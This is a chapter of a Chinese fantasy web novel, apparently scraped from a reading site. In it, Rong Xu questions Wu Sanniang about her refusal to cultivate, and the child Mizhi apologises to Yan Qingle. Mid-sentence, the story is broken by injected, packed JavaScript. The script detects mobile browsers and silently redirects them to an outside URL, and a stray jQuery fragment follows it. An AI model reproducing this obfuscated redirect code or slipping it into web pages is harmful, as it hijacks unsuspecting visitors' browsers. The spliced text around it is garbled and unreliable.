默认冷灰
24号文字
方正启体

26. 躲

作者:空京本书字数:K更新时间:
    乌三娘当时的话是什么意思?


    容序放下狼毫,鼻间幽幽墨香,他想了好几日,终是想不明白。


    去问乌三娘,更是不可能。


    他检查起给阎青乐今天换的药方有何错漏。


    「我不会入道。」


    所以到底什么意思?


    不会入道。


    真真是一句极为自负的话,不是不能,而是不会。


    他后移,瘫在圈椅上,心中泛起细细密密的点点烦躁,长舒一口气。


    他和乌三娘,指定八字不合。


    只要一想起这个人,这个人的话,有关的一切,就会很烦,甚至是日复一日地累积。


    他们分明无怨无仇。


    若说之前还能用阎青乐与乌三娘关系不和,他作为朋友冷淡些为由也勉强能说服自己,可现在她们俩的关系怎么看都是不错的。


    他现在又算什么?他在干什么?


    乌三娘是奚淮昭的妻子,能和阎青乐成为朋友,本该是一件喜闻乐见,甚至是皆大欢喜的事,他根本没有任何立场对乌三娘苛刻。


    可是为什么?


    手腕盖上眼睛,带来一阵黑暗:“再这样下去,我得离开斛桑城躲一躲。”


    阳光斜入窗,细小白烟轻快打旋。


    他忽地坐直身体。


    躲?


    “哈?”容序不可置信地咧开嘴,“真可怕啊。”


    他一个入道之人,一个修仙者,居然为了躲一个凡人,生出主动离开斛桑城的想法。


    “开什么玩笑?”他喃喃自语。


    人在圈椅上的姿势一动不动,恍若雕像。


    不知过了多久,他才渐渐有所动作,拿起药方出去抓药。


    算了,先把青乐的身体调养好再说,再不济,明天开始就暂且不住在峄琼宫内。


    不要看,不要想,保持平常心,会好起来的。


    不要看,不要想,不要看,不要想,不要看……看……


    水榭不远处,熟悉的身影仅仅带一位女侍,正正往他的方向走来,她嘴角微弯,心情似乎还不错。


    容序闭上眼,不愿意接受现实,不想看什么偏偏就来什么。


    如果现在直接转身离开,倒像是他落荒而逃。


    眼看着人越来越近,他后背紧绷,以乌三娘的为人,她定然会先打招呼,她话又多,该如何以最快的速度结束可能的话头?


    思索间,人已经踏至身前,她颔首,径直越过他。


    容序一愣,不由得朝她的方向望去,淡淡龙鳞香若隐若现,说不清道不明的味道令他越加焦躁。


    “你那句话是什么意思?”


    话音落下,往前走的苍舒禾诧异停下,就连容序自己都面露惊讶。


    他在干什么?


    他居然比自己想象中还要在意这件事吗?不就是一句再简单不过的话?


    苍舒禾转身,眉眼淡淡笑意褪去,昨日弥枝的旧疾已经稳定,那边有权惊舟盯着,她很放心。


    这会儿,她本准备前往奚淮昭处理公务的地方重鹤殿,让乜越有个光明正大的理由待在身为元后的她身边,毕竟她现在作为一个凡人,一个由夫子养育长大的人,认识太多修仙者本身就是有些奇怪。


    但若是以周微渡的名义,就顺理成章许多。


    路途遇见容序,也是意外。


    视线轻轻落下,苍舒禾显然明白他问的什么:“你很在意吗?”


    说不清缘由的烦意还在容序胸腔里横冲直撞,她的声音甫一入耳,他竟差点控制不住自己,忍不住后退。


    尽管被戳中心思,但偏偏苍舒禾脸上诚恳,什么反应都被容序尽数掩下。


    她几不可察地闪过若有所思,苍舒禾向来知道奚淮昭这个好友不太待见她,她也不是没有眼色的人。


    不过,既然他问了……


    她抱胸,思索道:“行凡人之途,难道不是道吗?”


    容序怔住。


    “凡人有凡人的追求,修仙者有修仙者的欲望,我的确说了,我不会入道,是因为我想以凡人之身行走世间,修仙者的眼睛,不一定能看到凡人的茶米油盐,诚然,这并非说我有多高洁,与世独立,个人喜好罢了。”


    这就是“乌三娘”的想法,支撑她作为凡人一生的信条。


    “乌三娘”有“乌三娘”会说的话,有她会做的事,“乌三娘”有属于自己的人生,属于自己的心中所想。


    尽管她的基本轨迹由她一手创造,也许某些方面会与苍舒禾有意外的重合,但无关紧要。


    因为乌三娘就是苍舒禾,苍舒禾就是苍舒禾自己。


    身为一个天下人都认同的第一强者,她已经拥有绝大数人都没有的东西,这话听来也颇有种站着说话不腰疼之感,可她不否认这种傲慢。


    是为了修为历练也好,是为了体验不同于苍舒禾本人的人生也好,抑或是其他原因,不过都是个人喜好,就像有人喜欢美人,有人爱品茗一样。


    容序指尖一颤,眼前的乌三娘还是像往常那般轻飘飘。


    他向来知道,有一种人,只需要站在那里,就足以吸引大部分人的注意,如果这种人在某种方面强大,就会发出令所有人注目的光芒。


    此刻的乌三娘,就是如此。


    分明是个凡人,却大言不惭。


    偏生她眼眸坚定,让人说不出任何反驳的话。


    烦躁与一种名为“认同”的情感横行无忌,撞得他摇摇欲坠。


    他突然后退一步,低下头,暗暗调整呼吸:“我知道了。”


    话罢转身离开,竟有几分匆忙之意。


    苍舒禾无所谓地扯扯嘴角,招呼在一旁等待的女侍:“走了,浣月。”


    浣月在她那一番言语中回神,行礼:“是,夫人。”


    她们继续往一开始的目的地去。


    ──奚淮昭处理公务的重鹤殿。


    *


    宫殿门前小小的脑袋探出。


    弥枝偷偷朝后瞟,没看到权惊舟的身影后,她一股脑嗖地跑出。


    脚步渐渐停下,她记得,就是这里,她抬头看门上牌匾──雪居。


    是这里。


    她蹑手蹑脚地扒拉大门,身后陡然传来声音:“你在这里干什么?”


    弥枝霎时警惕转身。


    两人四目相对,阎青乐率先移开眼,上前开门。


    弥枝飞快两步跳出位置。


    阎青乐轻巧推开门,走了几步,后面迟迟没有跟上,她回头:“进来吧。”


    话刚落下,脚步声才传来。


    滚烫清水入白杯,白烟不断升腾。


    阎青乐看向始终在不远不近的地方,站得挺直的小孩,开口:“坐。”


    她不至于苛待一个病愈没多久的孩子,尽管这孩子有人陪,她也明白病愈身体的虚弱。


    “不。”弥枝摇头。


    “坐。”


    “不。”


    “坐。”


    阎青乐垂下头,实在想不出一个小孩竟能如此倔强。


    “阎姐姐,我叫弥枝,我是来道歉的。”


    她惊讶抬眼,只见小姑娘眼底坚定。


    弥枝面容诚恳,鞠躬,说话稍缓,确定每个字都清晰地让阎青乐听到:“对不起阎姐姐,昨天是我不对,我不该对阎姐姐说那些话,我不会给自己找借口的,话从我口中说出来,已经伤害到了阎姐姐,就是我的错,我不是为了请求阎姐姐原谅才说的这些,我只是想让阎姐姐听到我的道歉,对不起!”


    一个个普普通通的字组合在一起,轰然砸落阎青乐心底,咂得她晃神,一时没有反应过来。


    看她没有反应,弥枝不由得拍上心脏的位置,说道:“这些都是我的心里话,一句,一点点,都没有假。”


    阎青乐压下睫毛微颤,长这么大,这还是她第一次得到如此郑重的道歉,心中泛起丝丝嘲讽,居然是在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028718|193178||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一个小孩子身上。


    她张了张嘴:“没人规定不能坐着道歉,而且……”看向面色还有些苍白的弥枝,“你当时根本就没有把话说出来。”


    没有说完整的话,根本就不需要道歉。


    弥枝听出她的言外之意,直勾勾地地看着她,摇摇头:“三姐姐说了,道歉,不是口头说说就可以,也不是普普通通给点补偿就能揭过,更重要的,是要认认真真地反省哪里错,为什么错,再认认真真地道歉,更更重要的,是要让对方感受到道歉的诚意,是我真的在道歉,不是在敷衍你。”


    孩童的嗓音还带着些本身的软意,因还未完全病愈,一口气说完有些喘,眼底是奇异的执拗,“不是没有说出来,就没有伤害到对方。”


    阎青乐瞳孔一抖,过往多年无数次回头望向家人的视线,精准对上自己此刻的眼睛,振聋发聩。


    父兄无声的指责,沉默的埋怨,从未出口的蔑视,她该是比任何人都明白的。


    他们不过就是仗着她没有退路,才会如此肆无忌惮。


    几日前她回到阎府,他们对无法将所有罪责都推到她身上而失望,对她没有为改变阎府现状行动而指责,她却不意外。


    不是没有说出来,就没有伤害到对方,多么简单的道理,连一个孩童都懂得的道理,偏偏他们,包括她自己都忽视。


    她对弥枝微笑道:“坐吧,我接受了。”


    弥枝眨眨眼,这才走过去坐下,摩挲发冷的手指,垂眼看水杯飘起的一缕缕白烟。


    不是没有说出来,没有完整地说出来就不需要道歉,已经被感受到意图,恶意已经被别人感受到了,那便是已经伤害到对方。


    若是一个字都没有吐出,也许双方可以假装若无其事,若是对方心思敏感,恐怕是会一次次在脑中回想,成为对方一遍又一遍的折磨。


    小小的指尖轻轻触碰杯身,发烫又带来暖意。


    主君姐姐是这么教她的,如果伤害了不想伤害的人,如果不小心伤害了本不该伤害的人,就应该道歉。


    错了不可怕,可怕的是明知道错了,还将言语化为利刃,剜他人的心。


    弥枝不觉得这是小事,主君姐姐希望她能这样做。


    主君姐姐一直安慰着她,在她一次次“旧疾”复发差点死掉的时候,在她以前对这个世界充满恶意,一次次对他人恶语相向的时候,是主君姐姐没有放弃她,一遍遍不厌其烦地教她如何与世界相处。


    所以,这是一件很重要的事。


    “你知道我是谁?”


    弥枝抬头,眨巴双眼:“三姐姐说过你。”


    阎青乐一愣,“是嘛?”


    在弥枝面前说过她……她眼珠游移,那是不是可以说明,乌三娘挺重视她的。


    “阎姐姐。”


    阎青乐还未细想,弥枝的声音将她打断。


    “三姐姐说要当你的靠山,其实我不是很喜欢。”


    阎青乐被她的过分诚实怔住。


    “可是三姐姐人就是这样,她既然说了,就会做到。”顿了顿,弥枝轻轻开口,“如果三姐姐喜欢你,那我也会喜欢你的。”


    她绽开笑,周围的冷意仿佛也暖了几分:“因为我很喜欢三姐姐。”


    “从今天开始,我会喜欢你的。”


    *


    “哼哼哼~”


    弥枝轻哼着歌,一蹦一跳地原路返回,行至转角,才慢下脚步。


    面无表情的女人像是等待许久,转头与她四目相对。


    弥枝心情极好地伸手。


    权惊舟停顿片刻,握住。


    一大一小的人影与摇曳的树影相错。


    “我不喜欢奚淮昭。”弥枝道,她望向牵着她的人,“微渡姐姐,你不会告诉三姐姐的,对吧?”


    树影绰绰。


    权惊舟道:“瞒不过她的。”


    无论是她们不喜欢奚淮昭,还是弥枝今天偷偷跑出来道歉的事。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)